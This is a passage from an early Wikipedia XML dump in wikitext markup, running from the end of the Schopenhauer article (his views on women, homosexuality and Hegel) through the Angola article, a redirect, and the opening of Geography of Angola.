Schopenhauer is also famous for his essay &quot;On Women&quot; (''Über die Weiber''), in which he expressed his opposition to what he called &quot;Teutonico-Christian stupidity&quot; on female affairs. He claimed that &quot;woman is by nature meant to obey&quot;, and opposed [[Friedrich Schiller|Schiller]]'s poem in honor of women, ''Würde der Frauen''. The essay does give two compliments however: that &quot;women are decidedly more sober in their judgment than [men] are&quot; and are more sympathetic to the suffering of others.  However, the latter was discounted as weakness rather than humanitarian virtue.    

The ultra-intolerant view of women contrasts with Schopenhauer's generally liberal views on other social issues: he was strongly against [[taboo]]s on issues like [[suicide]] and [[masochism]] and condemned the treatment of African [[slavery|slave]]s.  This [[polemic]] on female nature has since been fiercely attacked as [[misogyny|misogynistic]]. However, he did not hold a universally negative opinion of women in particular; one should note that Schopenhauer had a very high opinion of [[Madame de Guyon]], whose writings and biography he highly recommended.

In any case, the controversial writing has influenced many, from [[Friedrich Nietzsche|Nietzsche]] to [[19th century]] [[feminism|feminists]].  While Schopenhauer's hostility to women may tell us more about his [[biography]] than about philosophy, his [[biology|biological]] analysis of the difference between the sexes, and their separate roles in the struggle for survival and reproduction, anticipates some of the claims that were later ventured by [[sociobiology|sociobiologists]] and [[evolutionary psychology|evolutionary psychologists]] in the [[twentieth century]].

==Schopenhauer on homosexuality==
Schopenhauer was also one of the first philosophers since the days of [[Greek philosophy]] to address the subject of male [[homosexuality]].  In the third, expanded edition of ''The World as Will and Representation'' ([[1856]]), Schopenhauer added an appendix to his chapter on the &quot;Metaphysics of Sexual Love.&quot;  In it, he develops the idea that since only mature men and fully adult but pre-[[menopause|menopausal]] women are capable of bearing healthy children, in early adolescence and in late middle age the sexual appetite is susceptible of being turned towards another channel.  

While there may again be more [[autobiography]] than analysis in this hypothesis, it is consistent with the general tenor of Schopenhauer's thought, which gives the Will in nature the position of setting an agenda for individual lives.  It is also one of the first attempts at portraying homosexuality as a natural phenomenon, acknowledging its existence in every culture, and seeking to explain its appearance even in those cultures whose moralities sharply condemn homosexual behaviour.

==Schopenhauer on Hegel==
Schopenhauer seems to have disliked just about everything concerning his contemporary [[Georg Wilhelm Friedrich Hegel]]. The following quotation from ''[[On the Basis of Morality]]'' (page 15-16) is quite famous:

{{Quotation|If I were to say that the so-called philosophy of this fellow [[Georg Wilhelm Friedrich Hegel|Hegel]] is a colossal piece of mystification which will yet provide posterity with an inexhaustible theme for laughter at our times, that it is a [[pseudophilosophy|pseudo-philosophy]] paralyzing all mental powers, stifling all real thinking, and, by the most outrageous misuse of language, putting in its place the hollowest, most senseless, thoughtless, and, as is confirmed by its success, most stupefying verbiage, I should be quite right.&lt;p&gt;
Further, if I were to say that this summus philosophus [...] scribbled nonsense quite unlike any mortal before him, so that whoever could read his most eulogized work, the so-called [[Phenomenology of the Mind]], without feeling as if he were in a madhouse, would qualify as an inmate for [[Bethlem Royal Hospital|Bedlam]], I should be no less right.|Arthur Schopenhauer|''[[On the Basis of Morality]]'' (page 15-16)}}

But Schopenhauer had good reason to mistrust the writings of Hegel. In his &quot;Foreword to 
the first edition&quot; of his work [[Die beiden Grundprobleme der Ethik]], Schopenhauer 
had found Hegel to have fallen prey to the ''[[Post hoc ergo propter hoc]]'' fallacy. 

Schopenhauer's critique of Hegel is most certainly directed at his perception that Hegel's works use deliberately impressive but ultimately vacuous [[jargon]] and [[neologism]]s, and that they contained castles of abstraction that sounded impressive but ultimately contained no verifiable content.  He also thought that his glorification of church and state were designed for personal advantage and had little to do with search for philosophical truth.  Although Schopenhauer may have appeared vain in his constant attacks on [[Hegel]], they were not necessarily devoid of merit: the [[Right Hegelians]] interpreted  Hegel as seeing the Prussian state of his day as perfect and the goal of all history up until then.

==Common Misconceptions==
Many are put off Schopenhauer by descriptions of him as an obstinate and arrogant man, who did not lead the ascetic life that he glorified in his work.  The idea that he made resignation into a command to virtue is inaccurate, as he was merely trying to explain asceticism in terms of [[metaphysics]].  He does refer to the asceticism as a state of &quot;inner peace and cheerfulness&quot;, but he also clearly states that he was not trying to recommend the denial of the will above the affirmation of the will.  Furthermore, the call to asceticism was supposed to come to select individuals as knowledge all of a sudden, rather than being a virtue that can be taught. &quot;In general,&quot; he wrote, &quot;it is a strange demand on a moralist that he should commend no other virtue than that which he himself possesses.&quot; (''[[The World as Will and Representation]]'', Vol.I, § 68)

[[Nietzsche]] seems to have made this misinterpretation, leading some people to a distorted view of Schopenhauer.  The following sentence from ''[[The Twilight of the Idols]]'' is often quoted:

{{Quotation|He has interpreted art, heroism, genius, beauty, great sympathy, knowledge, the will to truth, and tragedy, in turn, as consequences of &quot;negation&quot; or of the &quot;will's&quot; need to negate.|[[Friedrich Nietzsche]]|''[[The Twilight of the Idols]]''}}

Schopenhauer did see all these things as means to a more peaceful and enlightened way of life, but none of them were &quot;denial of the will-to-live&quot;.  Only asceticism is referred to in that way.  [[Nietzsche]] also claimed that Schopenhauer did not recognise that suffering had a redemptive quality, yet his recognition of this seems blatantly clear in part 4 of ''The World as Will and Representation''.

Also, his identification of the [[Will (philosophy)|will]] with the Kantian &quot;thing-in-itself&quot; has been misunderstood.  [[Kant]] defined things-in-themselves as being beyond comprehension and that no-one could know the inner nature of a material thing.  It is sometimes thought that Schopenhauer denied this, but he did not.  What he did assert was that one could know things about the thing-in-itself.  For example, you can know that the will is a striving force, that it is endless, that it causes suffering, that it will produce boredom if unoccupied, etc.  However, he did not say that you could directly know the will.  In addition, it has sometimes been criticised that he never defined the will, but he explained that it could not be fully defined.

==Influence==
Schopenhauer is thought to have influenced the following intellectual figures and schools of thought: [[Friedrich Nietzsche]], [[Richard Wagner]], [[Sigmund Freud]], [[Charles Darwin]], [[Theodule Ribot]], [[Eugene O'Neill]], [[Max Horkheimer]], [[C. G. Jung]], [[Ludwig Wittgenstein]], [[Samuel Beckett]], [[Jorge Luis Borges]], [[Dylan Thomas]], [[Emil Cioran]], [[Thomas Mann]], [[Phenomenalism]], and [[Recursionism]].

==See also==
*[[Criticism of the Kantian Philosophy (Schopenhauer)|Schopenhauer's criticism of the Kantian philosophy]]

== Bibliography ==
=== Major works === 
*''Über die vierfache Wurzel des Satzes vom zureichenden Grunde'', 1813 ''(On the Fourfold Root of the Principle of Sufficient Reason)'' 
*''Über das Sehen und die Farben'', 1816 ''(On Vision and Colours)''
*''Die Welt als Wille und Vorstellung'', 1818/1819, vol 2 1844 ''([[The World as Will and Representation]]'', sometimes also known in English as ''The World as Will and Idea'') 
**vol. 1 Dover edition 1966, ISBN 0486217612
**vol. 2 Dover edition 1966, ISBN 0486217620
**Peter Smith Publisher hardcover set 1969, ISBN 0844628859
**Everyman Paperback combined abridged edition (290 p.) ISBN 0460875051
*''Über den Willen in der Natur'', 1836 ''(On the Will in Nature)''
*''Über die Freiheit des menschlichen Willens'', 1839 ''(On Freedom of the Will)''
*''Über die Grundlage der Moral'', 1840 ''(On the Basis of Morality)''
*''Parerga und Paralipomena'', 1851

=== Online texts ===
*''[http://homes.rhein-zeitung.de/~ahipler/kritik/religio1.htm Über Religion, from Parerga und Paralipomena II]'' (german)
*[http://www.friesian.com/arthur.htm Influence on Friesian philosophy]
*[http://www.geocities.com/c_ansata/Women.html Essay ''Über die Weiber'']
*[http://coolhaus.de/art-of-controversy/ ''Die Kunst, Recht zu behalten - The Art Of Controversy'' (bilingual)]
* {{gutenberg author| id=Arthur+Schopenhauer | name=Arthur Schopenhauer}}

==Source==
*Albright, Daniel (2004). ''Modernism and Music: An Anthology of Sources'', p.39n34. University of Chicago Press. ISBN 0226012670.

== External links ==
{{commons|Arthur Schopenhauer}}
{{wikiquote}}
{{Wikisourcelang|de|Arthur Schopenhauer|Arthur Schopenhauer}}

*[http://www.friesian.com/arthur.htm Biography and summary of his philosophy]
*[http://www.blupete.com/Literature/Biographies/Philosophy/Schopenhauer.htm   Short biography] (Contains the false view that Schopenhauer was a solipsist)
*[http://plato.stanford.edu/entries/schopenhauer/ Indepth overview of his life and philosophy]
*[http://www.carleton.ca/~abrook/SCHOPENY.htm  On the philosopher's impact on Freud and psychology]
*[http://www.centrebouddhisteparis.org/En_Anglais/Sangharakshita_en_anglais/Aesthetic_appreciation/aesthetic_appreciation.html Schopenhauer and aesthetic appreciation.]
*[http://www.pratyeka.org/schopenhauer/ An essay on Schopenhauer's (debated) place in the history of European philosophy, detailing his relationship to earlier sources]

{{Philosophy navigation}}

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    </revision>
  </page>
  <page>
    <title>Angola</title>
    <id>701</id>
    <revision>
      <id>41994444</id>
      <timestamp>2006-03-03T02:36:46Z</timestamp>
      <contributor>
        <ip>195.23.17.113</ip>
      </contributor>
      <comment>added a reference to jornaldeangola.com</comment>
      <text xml:space="preserve">{{Infobox Country |
native_name              = República de Angola |
common_name              = Angola |
image_flag               = Flag of Angola.svg |
image_coat               = Angola coa.png |
national_motto           = none |
image_map                = LocationAngola.png |
national_anthem          = [[Angola Avante|Angola Avante!]]&lt;br&gt;&lt;small&gt;([[Portuguese language|Portuguese]]: [[Angola Avante|Forward Angola!]]) |
official_languages       = [[Angolan Portuguese|Portuguese]] |
capital                  = [[Luanda]] |
latd=8|latm=50|latNS=S|longd=13|longm=20|longEW=E|
government_type          = [[Multi-party]] [[democracy]] |
leader_titles            = [[President of Angola|Head of State]] &lt;br&gt; [[Prime Minister of Angola|Head of Government]]|
leader_names             = [[José Eduardo dos Santos]] &lt;br&gt; [[Fernando da Piedade Dias dos Santos|Fernando da Piedade &lt;br&gt; Dias dos Santos]]|
largest_city             = [[Luanda]] |
area                     = 1,246,700 |
areami² = 481,354 | &lt;!--Do not remove --&gt;
area_rank                = 22nd |
area_magnitude           = 1 E12 |
percent_water            = Negligible |
population_estimate      = 10,978,552 |
population_estimate_year = 2004 |
population_estimate_rank = 71st |
population_census        = ''unavailable'' |
population_census_year   = ? |
population_density       = 8.6 |
population_densitymi² = 22.3 | &lt;!--Do not remove --&gt;
population_density_rank  = 213 |
GDP_PPP_year             = 2003 |
GDP_PPP                  = 31,364&lt;sup&gt;1&lt;/sup&gt; |
GDP_PPP_rank             = 83 |
GDP_PPP_per_capita       = 2,319 |
GDP_PPP_per_capita_rank  = 120 |
HDI_year                 = 2003 |
HDI                      = 0.445 |
HDI_rank                 = 160th |
HDI_category             = &lt;font color=&quot;#E0584E&quot;&gt;low&lt;/font&gt; |
sovereignty_type         = [[Independence]] |
established_events       = From [[Portugal]] |
established_dates        = [[November 11]] [[1975]] |
currency                 = [[Kwanza]] |
currency_code            = AOA |
time_zone                = [[Central European Time|CET]] |
utc_offset               = +1 |
time_zone_DST            = not observed |
utc_offset_DST           = +1 |
cctld                    = [[.ao]] |
calling_code             = 244 |
footnotes                = &lt;sup&gt;1&lt;/sup&gt; Estimate is based on regression; other PPP figures are extrapolated from the latest International Comparison Programme benchmark estimates.
}}{{about|the country|the prison|[[Louisiana State Penitentiary]]}}
'''Angola''' is a country in southwestern [[Africa]] bordering [[Namibia]], the [[Democratic Republic of the Congo]], and [[Zambia]], and with a west coast along the [[Atlantic Ocean]]. The [[exclave]] province [[Cabinda (province)|Cabinda]] has a border with [[Republic of the Congo|Congo-Brazzaville]]. A former [[Portugal|Portuguese]] colony, it has considerable natural resources, among which oil and diamonds are the most relevant.  The country is nominally a [[democracy]] and is formally named the '''Republic of Angola''' ([[Portuguese language|Portuguese]]: ''República de Angola'', [[Pronunciation|pron.]] [[IPA]]: /{{IPA|ʁɛ.'pu.βli.kɐ dɨ ɐ̃.'ɣɔ.lɐ}}/).

==Origin and history of the name==

The name '''Angola''' is a Portuguese derivation of the [[Bantu language|Bantu]] word N’gola, being the title of the native rulers of the Quimbundos Kingdom in the [[16th century]], at the time of colonization by the Portuguese.

==History==
''Main article: [[History of Angola]]''

[[Image:Queen Nzinga 1657.png|thumb|left|Shows Queen Nzinga in peace negotiations with the portuguese governor in Luanda, 1657.]]
The earliest inhabitants of the area were [[Khoisan]] [[hunter-gatherer]]s. They were largely replaced by Bantu tribes during [[Bantu]] [[human migration|migrations]]. In present-day Angola [[Portugal]] settled in 1483 at the river Congo, where the [[Kongo Empire|Kongo]] State, [[Ndongo]] and [[Lunda]] existed. The Kongo State stretched from modern [[Gabon]] in the north to the [[Kwanza River]] in the south. Portugal established in 1575 a Portuguese colony at [[Luanda]] based on the slave trade. The Portuguese gradually took control of the coastal strip throughout the 16th century by a series of treaties and wars. They formed the colony of Angola. The [[Netherlands|Dutch]] occupied Luanda from 1641-48, providing a boost for anti-Portuguese states. 

In 1648 Portugal retook Luanda and initiated a process of military conquest of the Kongo and Ndongo states that ended with Portuguese victory in 1671. Full Portuguese administrative control of the interior didn't occur until the beginning of the 20th century. In 1951 the colony was restyled as an overseas province, also called Portuguese West Africa. When Portugal refused a decolonization process three independence movements emerged: 
* the [[Popular Movement for the Liberation of Angola]] (''Movimento Popular de Libertação de Angola'' MPLA), with a base among [[Kimbundu]] and the mixed-race intelligentsia of Luanda, and links to communist parties in Portugal and the [[Eastern Bloc]]; 
* the [[National Liberation Front of Angola]] (''Frente Nacional de Libertação de Angola'', FNLA), with an ethnic base in the Bakongo region of the north and links to the [[United States]] and the [[Mobutu Sese Seko|Mobutu]] regime in [[Zaire]]; and
* the [[National Union for Total Independence of Angola]] (''União Nacional para a Independência Total de Angola'', UNITA), led by [[Jonas Savimbi|Jonas Malheiro Savimbi]] with an ethnic and regional base in the Ovimbundu heartland in the center of the country. 

After a 14 year independence guerrilla war, and the overthrow of fascist Portugal's government by a military coup, Angola's nationalist parties began to negotiate for independence in January 1975.  Independence was to be declared in November 1975.  Almost immediately, a [[Angolan Civil War|civil war]] broke out between MPLA, UNITA and FNLA, exacerbated by foreign intervention.  South African troops struck an alliance of convenience with UNITA and invaded Angola in August 1975 to ensure that there would be no interference (by a newly independent Angolan state) in [[Namibia]], which was then under South African control (Hodges, 2001, 11). Cuban troops came to the support of the MPLA in October 1975, enabling them to control the capital, [[Luanda]], and hold off the South African forces.  The MPLA declared itself to be the de facto government of the country when independence was formally declared in November, with [[Agostinho Neto]] as the first President.  

In 1976, the FNLA was defeated by a combination of MPLA and [[Cuba|Cuban]] troops, leaving the Marxist MPLA and UNITA (backed by the United States and South Africa) to fight for power.  

The conflict raged on, fuelled by the geopolitics of the Cold War and by the ability of both parties to access Angola's natural resources.  The MPLA drew upon the revenues of off-shore oil resources, while UNITA accessed alluvial diamonds that were easily smuggled through the region's very porous borders (LeBillon, 1999).

In 1991, the factions agreed to turn Angola into a multiparty state, but after the current president [[José Eduardo dos Santos]] of MPLA won UN supervised elections, UNITA claimed there was fraud and fighting broke out again.

A 1994 peace accord ([[Lusaka]] protocol) between the government and UNITA provided for the integration of former UNITA [[insurgent]]s into the government. A national unity government was installed in 1997, but serious fighting resumed in late 1998, rendering hundreds of thousands of people homeless. President José Eduardo dos Santos suspended the regular functioning of democratic instances due to the conflict.

On [[February 22]] [[2002]], Jonas Savimbi, the leader of UNITA, was shot dead and a cease-fire was reached by the two factions. UNITA gave up its armed wing and assumed the role of major opposition party. Although the political situation of the country seems to be normalizing, president dos Santos still hasn't allowed regular democratic processes to take place. Among Angola's major problems are a serious humanitarian crisis (a result of the prolonged war), the abundance of [[minefield]]s, and the actions of guerrilla movements fighting for the independence of the northern exclave of [[Cabinda (province)|Cabinda]] ([[Frente para a Libertação do Enclave de Cabinda]]).

Angola, like many sub-Saharan nations, is subject to periodic outbreaks of infectious diseases. In April 2005, Angola was in the midst of an [[Marburg virus#2004-2005 outbreak in Angola|outbreak]] of the [[Marburg virus]] which was rapidly becoming the worst outbreak of a haemorrhagic fever in recorded history, with over 237 deaths recorded out of 261 reported cases, and having spread to 7 out of the 18 provinces as of [[April 19]], [[2005]].

==Politics==
''Main article: [[Politics of Angola]]''

The executive branch of the government is composed of the President, the Prime Minister (currently [[Fernando da Piedade Dias dos Santos]]) and Council of Ministers. Currently, political power is concentrated in the Presidency. The Council of Ministers, composed of all government ministers and vice ministers, meets regularly to discuss policy issues. Governors of the 18 provinces are appointed by and serve at the pleasure of the president. The Constitutional Law of 1992 establishes the broad outlines of government structure and delineates the rights and duties of citizens. The legal system is based on Portuguese and customary law but is weak and fragmented, and courts operate in only 12 of more than 140 municipalities. A Supreme Court serves as the appellate tribunal; a Constitutional Court with powers of judicial review has never been constituted despite statutory authorization.

The 27 year long civil war has ravaged the country's political and social institutions. The UN estimates of 1.8 million internally displaced persons (IDPs), while generally the accepted figure for war-affected people is 4 million. Daily conditions of life throughout the country and specifically Luanda (population approximately 4 million) mirror the collapse of administrative infrastructure as well as many social institutions. The ongoing grave economic situation largely prevents any government support for social institutions. Hospitals are without medicines or basic equipment, schools are without books, and public employees often lack the basic supplies for their day-to-day work.

The president has announced the government's intention to hold elections in 2006. These elections would be the first since 1992 and would serve to elect both a new president and a new National Assembly.

* [[List of political parties in Angola]]

== Administrative Divisions ==
[[Image:Angola Provinces numbered 300px.png|right|200px|Map of Angola with the provinces numbered]]
''Main Article: [[Provinces of Angola]]''

Angola is divided into 18 provinces:-
{| border=0
|- valign=&quot;top&quot;
|
*&lt;small&gt;1&lt;/small&gt; [[Bengo (province)|Bengo]]
*&lt;small&gt;2&lt;/small&gt; [[Benguela Province|Benguela]]
*&lt;small&gt;3&lt;/small&gt; [[Bié (province)|Bié]]
*&lt;small&gt;4&lt;/small&gt; [[Cabinda (province)|Cabinda]]
*&lt;small&gt;5&lt;/small&gt; [[Cuando Cubango]]
*&lt;small&gt;6&lt;/small&gt; [[Cuanza Norte]]

|
*&lt;small&gt;7&lt;/small&gt; [[Cuanza Sul]]
*&lt;small&gt;8&lt;/small&gt; [[Cunene (province)|Cunene]]
*&lt;small&gt;9&lt;/small&gt; [[Huambo Province|Huambo]]
*&lt;small&gt;10&lt;/small&gt; [[Huila Province|Huila]]
*&lt;small&gt;11&lt;/small&gt; [[Luanda Province|Luanda]]
*&lt;small&gt;12&lt;/small&gt; [[Lunda Norte]]

|
*&lt;small&gt;13&lt;/small&gt; [[Lunda Sul]]
*&lt;small&gt;14&lt;/small&gt; [[Malanje Province|Malanje]]
*&lt;small&gt;15&lt;/small&gt; [[Moxico (province)|Moxico]]
*&lt;small&gt;16&lt;/small&gt; [[Namibe Province|Namibe]]
*&lt;small&gt;17&lt;/small&gt; [[Uige Province|Uige]]
*&lt;small&gt;18&lt;/small&gt; [[Zaire Province|Zaire]]
|}

==Geography==
[[Image:Angola map.png|thumb|300px|Map of Angola]]
[[Image:LuandaJuin2005-1-br.jpg|thumb|230px|[[Luanda]], the Angolan capital]]
''Main article: [[Geography of Angola]]''

Angola is bordered by [[Namibia]] to the south, [[Zambia]] to the east, the [[Democratic Republic of the Congo]] to the north-east, and the [[South Atlantic Ocean]] to the west. The [[exclave]] of [[Cabinda (province)|Cabinda]] also borders the [[Republic of the Congo]] to the north. Angola's capital, [[Luanda]], lies on the Atlantic coast in the north-west of the country.

Angola is divided into an arid coastal strip stretching from Namibia to Luanda; a wet, interior highland; a dry savanna in the interior south and southeast; and rain forest in the north and in Cabinda. The [[Zambezi River]] and several tributaries of the Congo River have their sources in Angola.

===Exclaves and enclaves===
The [[exclave]] province of [[Cabinda (province)|Cabinda]] borders with both the [[Republic of the Congo]] and the [[Democratic Republic of the Congo]]. The latter's only oceanic access, 60 kilometres (37 [[mile|mi]]) in width, divides Angola from Cabinda. The population stands at around 300,000, two-thirds of which inhabit the surroundings in a generally stable state on Congolese and Zairian territory. The Angolan central government has yet to put a definitive end to the Cabindese secessionist movement.

==Economy==
''Main article: [[Economy of Angola]]''

Angola is an economy in disarray because of a quarter century of nearly continuous warfare. Despite its abundant natural resources, output per capita is among the world's lowest. Subsistence agriculture provides the main livelihood for 85% of the population. Oil production and the supporting activities are vital to the economy, contributing about 45% to GDP and 90% of exports.  Control of the oil industry is consolidated in [[Sonangol Group]], a conglomerate which is owned by the Angolan government.  Notwithstanding the signing of a peace accord in November 1994, millions of land mines remain, rural violence is a possibility, and many farmers are reluctant to return to their fields. As a result, much of the country's food must still be imported. Despite the increase in the pace of civil warfare in late 1998, the economy grew by an estimated 4% in 1999. The government introduced new currency denominations in 1999, including a 1 and 5 kwanza note. Expanded oil production brightens prospects for 2000, but internal strife discourages investment outside of the petroleum sector. With the advent of peace in 2002 a strategic partnership with China is set in motion, so huge investments by Chinese companies are now in place, especially in the construction sector and more recently in the metallurgical sector.

==Demographics==
''Main article: [[Demographics of Angola]]''

Angola has three main ethnic groups, each speaking a Bantu language: [[Ovimbundu]] 37%, [[Kimbundu]] 25%, and [[Bakongo]] 13%. Other groups include [[Chokwe]] (or [[Lunda]]), [[Ganguela]], [[Nhaneca-Humbe]], [[Ambo]], [[Herero]], and [[Xindunga]]. In addition, ''[[mestiço]]s'' (Angolans of mixed European and African family origins) amount to about 2%, with a small (1%) population of whites, mainly ethnically [[Portuguese people|Portuguese]]. Portuguese make up the largest non-Angolan population, with at least 30,000 (though many native-born Angolans can claim Portuguese nationality under Portuguese law). In [[1975]], 250,000 [[Cuba]]n soldiers settled Angola to help the MPLA forces to fight for its independence. These Cubans are of European and [[Asia]]n (mostly [[Chinese Cuban| Chinese]] descent, while others include those of pure [[Afro-Cuban|African]] and [[mulatto]] descent, who has ancestors in Angola. But in [[1989]], almost all Cubans went out of the country after a peace agreement has been signed between Angola, Cuba, and [[South Africa]]. Portuguese is both the official and predominant language, spoken in the homes of about two-thirds of the population, and as a secondary language by many more. Cubans speak [[Spanish language]], but almost none of their descendants speak it.

The great majority of the inhabitants are of Bantu stock with some admixture in the Congo district. In the south-east are various tribes of Bushmen. The best-known of the Bantu tribes are the Ba-Kongo (Ba-Fiot), who dwell chiefly in the north, and the [[Abunda]] (Mbunda, Ba-Bundo), who occupy the central part of the province, which takes its name from the Ngola tribe of Abunda. Another of these tribes, the Bangala, living on the west bank of the upper Kwango, must not be confused with the Bangala of the middle Congo. In the Abunda is a considerable strain of Portuguese blood. The Ba-Lunda inhabit the Lunda district. Along the upper Kunene and in other districts of the plateau are settlements of Boers, the Boer population being about 2000. In the coast towns the majority of the white inhabitants are Portuguese. The Mushi-Kongo and other divisions of the Ba-Kongo retain curious traces of the Christianity professed by them in the 16th and 17th centuries and possibly later. Crucifixes are used as potent fetish charms or as symbols of power passing down from chief to chief; whilst every native has a &quot;Santu&quot; or Christian name and is dubbed dom or dona. [[Fetishism]] is the prevailing religion throughout the province. The dwelling-places of the natives are usually small huts of the simplest construction, used chiefly as sleeping apartments; the day is spent in an open space in front of the hut protected from the sun by a roof of palm or other leaves. Despite all that, Catholicism remains the dominant religion, although recently an increasing number of churches are claiming more followers, particularly evangelicals.


*[[List of Angolans]]

==Culture==
''Main article: [[Culture of Angola]]''

*[[List of African writers (by country)#Angola|List of writers from Angola]]
*[[Contemporary Dance Company of Angola]][http://www.cdcangola.com]

==Stamps==
* [[List of errors on Portuguese ex-Colonies stamps of Angola 1912]]
* [[List of errors on Portuguese ex-Colonies stamps of Angola 1914]]
* [[List of errors on Portuguese ex-Colonies stamps of Angola 1921]]
* [[List of birds on stamps of Angola]]
* [[List of people on stamps of Angola]]
* [[List of bonsai on stamps]]
* [[List of fish on stamps]]

== Miscellaneous topics ==

* [[Communications in Angola]]
* [[Foreign relations of Angola]]
* [[List of Angolan companies]]
* [[Military of Angola]]
* [[Sonangol Group]]
* [[Transport in Angola]]

==See also==
*[[List of sovereign states]]

==Reference==
*''Much of the material in these articles comes from the [[CIA World Factbook]] 2000 and the 2003 U.S. Department of State website.''

==External links==
{{portal}}
{{sisterlinks|Angola}}

===Government===
*[http://www.angola.org/ Republic of Angola] official government portal
*[http://www.parlamento.ao/ National Assembly of Angola] official site (in Portuguese)
*[http://www.angola.org/ Embassy of Angola in Washington DC] government information and links

===News===
*[http://allafrica.com/angola/ allAfrica - Angola] - News headline links
*[http://www.angolapress-angop.ao/ Angola Press] - Government-controlled news agency (in Portuguese, French and English)
*[http://www.angonoticias.com/ Angonoticias] (in Portuguese) - A popular news source in Angola
*[http://mangole.hypermart.net Mangole] (in Portuguese) - A full news source in Angola and web directory of angolan sites online
*[http://www.jornaldeangola.com/ Jornal de Angola] (in Portuguese) - A popular newspaper in Angola

===Overviews===
* [http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1063073.stm BBC - Country profile: ''Angola'']
* [http://www.cia.gov/cia/publications/factbook/geos/ao.html CIA World Factbook - ''Angola'']
* [http://www.state.gov/p/af/ci/ao/ US State Department - ''Angola''] includes Background Notes, Country Study and major reports

===Radio &amp; Music=== 
* [http://www.Kizomba.ORG/  Site Official de Kizomba]
* [http://www.CanalAngola.NET/ Radio Canal Angola ONLINE]

===Directories===
*[http://www.columbia.edu/cu/lweb/indiv/africa/cuvl/Angola.html Columbia University Libraries - ''Angola''] directory category of the WWW-VL
*[http://dmoz.org/Regional/Africa/Angola/ Open Directory Project - ''Angola''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/angola.html Stanford University - Africa South of the Sahara: ''Angola''] directory category

===Tourism===
*{{wikitravel}}

===Other===
* [http://www.flashpoints.info/countries-conflicts/Angola-web/angola_briefing.html Angola Conflict Briefing]

{{Africa}}

[[Category:Angola| ]]
[[Category:African Union member states]]
[[Category:Former Portuguese colonies]]
[[Category:CPLP member states]]

[[af:Angola]]
[[am:አንጎላ]]
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[[ru:Ангола]]
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[[zh:安哥拉]]</text>
    </revision>
  </page>
  <page>
    <title>Angola/History</title>
    <id>702</id>
    <revision>
      <id>15899228</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Angola]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Angola</title>
    <id>703</id>
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      <id>40697070</id>
      <timestamp>2006-02-22T10:51:45Z</timestamp>
      <contributor>
        <ip>83.41.197.224</ip>
      </contributor>
      <comment>Link to spanish Wikipedia</comment>
      <text xml:space="preserve">[[Image:Angola Map.jpg|right||thumb|300px|Map of Angola]]
[[Angola]] is located on the [[South Atlantic]] Coast of West [[Africa]] between [[Namibia]] and the [[Republic of the Congo]]. It also is bordered by the [[Democratic Republic of the Congo]] and [[Zambia]] to the east. The country is divided into an arid coastal strip stretching from Namibia to [[Luanda]]; a wet, interior highland; a dry [[savanna]] in the interior south and southeast; and [[rain forest]] in the north and in [[Cabinda (province)|Cabinda]]. The [[Zambezi River]] and several tributaries of the [[Congo River]] have their sources in Angola. The coastal strip is tempered by the cool [[Benguela]] current, resulting in a climate similar to coastal [[Peru]] or [[Baja California]]. There is a short rainy season lasting from February to April. Summers are hot and dry, while winters are mild. The interior highlands have a mild climate with a rainy season from November through April followed by a cool dry season from May to October. Elevations generally range from 3,000 to 6,000 feet (900 to 1,800 m). The far north and Cabinda enjoy rain throughout much of the year. 

The coast is for the most part flat, with occasional low cliffs and bluffs of red [[sandstone]]. There is but one deep inlet of the sea - [[Great Fish Bay]] (or [[Baía dos Tigres]]). Farther north are [[Port Alexander]], [[Little Fish Bay]] and [[Lobito Bay]], while shallower bays are numerous. Lobito Bay has water sufficient to allow large ships to unload close inshore. The coast plain extends inland for a distance varying from 30 to 100 miles (48 to 165 km). This region is in general sparsely watered and somewhat sterile. The approach to the great central plateau of Africa is marked by a series of irregular terraces. This intermediate mountain belt is covered with luxuriant vegetation. Water is fairly abundant, though in the dry season obtainable only by digging in the sandy beds of the rivers. The plateau has an altitude ranging from 4000 to 6000 ft (1,200 to 1,800 m). It consists of well-watered, wide, rolling plains, and low hills with scanty vegetation. In the east the tableland falls away to the basins of the Congo and Zambezi, to the south it merges into a barren sandy [[desert]]. A large number of rivers make their way westward to the sea; they rise, mostly, in the mountain belt, and are unimportant, the only two of any size being the Kwanza and the Kunene, separately noticed. The mountain chains which form the edge of the plateau, or diversify its surface, run generally parallel to the coast, as [[Tala Mugongo]] (4400 ft., 1350 m), [[Chella]] and [[Vissecua]] (5250 ft. to 6500 ft. or 1500 to 2000 m). In the district of [[Benguela]] are the highest points of the province, viz. [[Loviti]] (7780 ft., 2370 m), in 12° 5' S., and [[Mt. Elonga]] (7550 ft., 2300 m). South of the Kwanza is the volcanic mountain [[Caculo-Cabaza]] (3300 ft., 1000 m). From the tableland the [[Kwango]] and many other streams flow north to join the [[Kasai River]] (one of the largest affluents of the Congo), which in its upper course forms for fully 300 mi (490 km). the boundary between Angola and the Congo State. In the south-east part of the province the rivers belong either to the [[Zambezi]] system, or, like the [[Okavango River|Okavango]], drain to [[Lake Ngami]].

== Geology ==

The rock formations of Angola are met with in three distinct regions:

# the [[littoral]] zone,
# the median zone formed by a series of hills more or less parallel with the coast,
# the central plateau.

The central plateau consists of ancient [[crystalline rock]]s with [[granite]]s overlain by [[unfossiliferous]] sandstones and conglomerates of [[Paleozoic]] age. The outcrops are largely hidden under [[laterite]]. The median zone is composed largely of crystalline rocks with granites and some Palaeozoic unfossiliferous rocks. The [[littoral]] zone contains the only [[fossiliferous]] strata. These are of [[Tertiary Age|Tertiary]] and [[Cretaceous]] ages, the latter rocks resting on a reddish sandstone of older date. The Cretaceous rocks of the Dombe Grande region (near Benguella) are of [[Albian age]] and belong to the ''[[Acanthoceras mamillari]]'' zone. The beds containing ''[[Schloenbachia inflata]]'' are referable to the [[Gault]]. Rocks of Tertiary age are met with at Dombe Grande, Mossamedes and near Loanda. The sandstones with [[gypsum]], [[copper]] and [[sulfur]] of Dombe are doubtfully considered to be of [[Triassic]] age. Recent eruptive rocks, mainly [[basalt]]s, form a line of hills almost bare of vegetation between Benguella and Mossamedes. Nepheline basalts and [[liparite]]s occur at Dombe Grande. The presence of [[gum copal]] in considerable quantities in the superficial rocks is characteristic of certain regions.

== Location ==

Southern [[Africa]], bordering the South [[Atlantic Ocean]], between [[Namibia]] and [[Democratic Republic of the Congo]]

